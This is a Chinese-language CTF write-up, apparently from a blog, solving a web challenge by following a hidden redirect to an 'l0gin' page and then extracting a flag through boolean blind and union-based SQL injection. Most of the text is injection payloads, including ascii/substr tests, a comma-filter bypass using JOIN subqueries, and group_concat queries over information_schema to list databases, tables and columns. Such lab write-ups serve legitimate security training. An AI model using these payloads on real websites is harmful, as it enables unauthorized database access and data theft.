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32 篇文章 0 订阅
订阅专栏

 web
32 篇文章 0 订阅
订阅专栏

 sql
6 篇文章 0 订阅
订阅专栏

这道题一打开就是个白板，开始还以为网不好还没加载出来。。。查看源码

看到了login.php这个路径，于是满怀欣喜的访问它

结果进去后什么都没得。。。以前也遇到过这种情况，所以拿bp抓一下包，也没发现东西
这下就一筹莫展了，于是参考了一下wp，才知道发生了302重定向，简单说就是从一个跳转到另一个页面，而且这个过程是我们
刚进入题目连接就发生了的
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这里一个是1 另一个是l，很容易混淆呀。。。。

这里借用一下别人的图，因为我的bp头一次还抓到了302，第二次抓没经过302就直接跳转到正确页面了。。。。不过大家知道
实际上发生了这么回事就行了

好，接下来我们来访问这个，果然，和之前那个login是不同的，这里是l0gin。。。

那我们继续访问这个



那我们继续访问这个

源码说让我们绕过这个，我们先尝试最基础的注入测试，发现应该是有东西被过滤了

这里由于怎么尝试都是一个东西，没有报错回显，说明这应该是一个盲注

这里我们选择给予布尔型的盲注

这里先介绍两个盲注中非常重要的函数：

1.substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。

start(必需)规定在字符串的何处开始。

length(可选)规定被返回字符串的长度。

例如 echo substr(“Hello world”,6);
则输出world

2.left()函数

left(string,length)

string(必需)规定要返回其中一部分的字符串

length（可选）规定被返回字符串的前length长度的字符

接下来我们就可以开始盲注了



payload： id=1' and ascii(substr((select database()),1,1))>64 %23

查询数据库名，发现，注入失败，很明显逗号后面的sql语句被过滤了，id字段输出的应该就是过滤后的sql语句了

于是我们去搜索一下不用逗号的查询方式，这里分享一篇讲的比较详细的：

逗号拦截绕过

这里讲了 join的用法，假如没有过滤逗号我们的操作就是：

``?id=1’ union select database(),2 #
或者?id=1’ union select schema_name,2 from information_schema.schemata
再或者?id=1’ union select table_schema,2 from information_schema.tables```

一共三种方式，但现在，逗号被过滤了，我们就需要用到join
形式按顺序如下：

第一： 1' union select * from (select database()) a join (select 2) b %23

第二： 1' union select * from (select schema_name from information_schema.schemata ) a join (select 2 ) b %23

第三： 1' union select * from (select schema_name from information_schema.schemata ) a join (select 2 ) b %23

https://www.cnblogs.com/i-honey/p/8203954.html


但我们都知道数据库肯定不止information_schema这一个，如果没用database的话，我们就得用 group_concat把查库名时所有

的库名用一行输出来

虽然直接翻到最后可以看到sqli，但活用sql语句的话，就可以函数distinct：
1' union select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join

(select 2 ) b %23

它的作用就是不重复返回值，这样看起来就非常简洁

说了三种方法，接下来直接根据库名一个个查就行了

查表名： 0 union select * from (select group_concat(distinct(table_name)) from information_schema.tables where

table_schema='sqli') a join (select 2 ) b %23

查列名： 0' union select * from (select group_concat(distinct(column_name)) from information_schema.columns

where table_schema='sqli' and table_name='users') a join (select 2 ) b %23

最后查字段里的内容

0' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23



get flag
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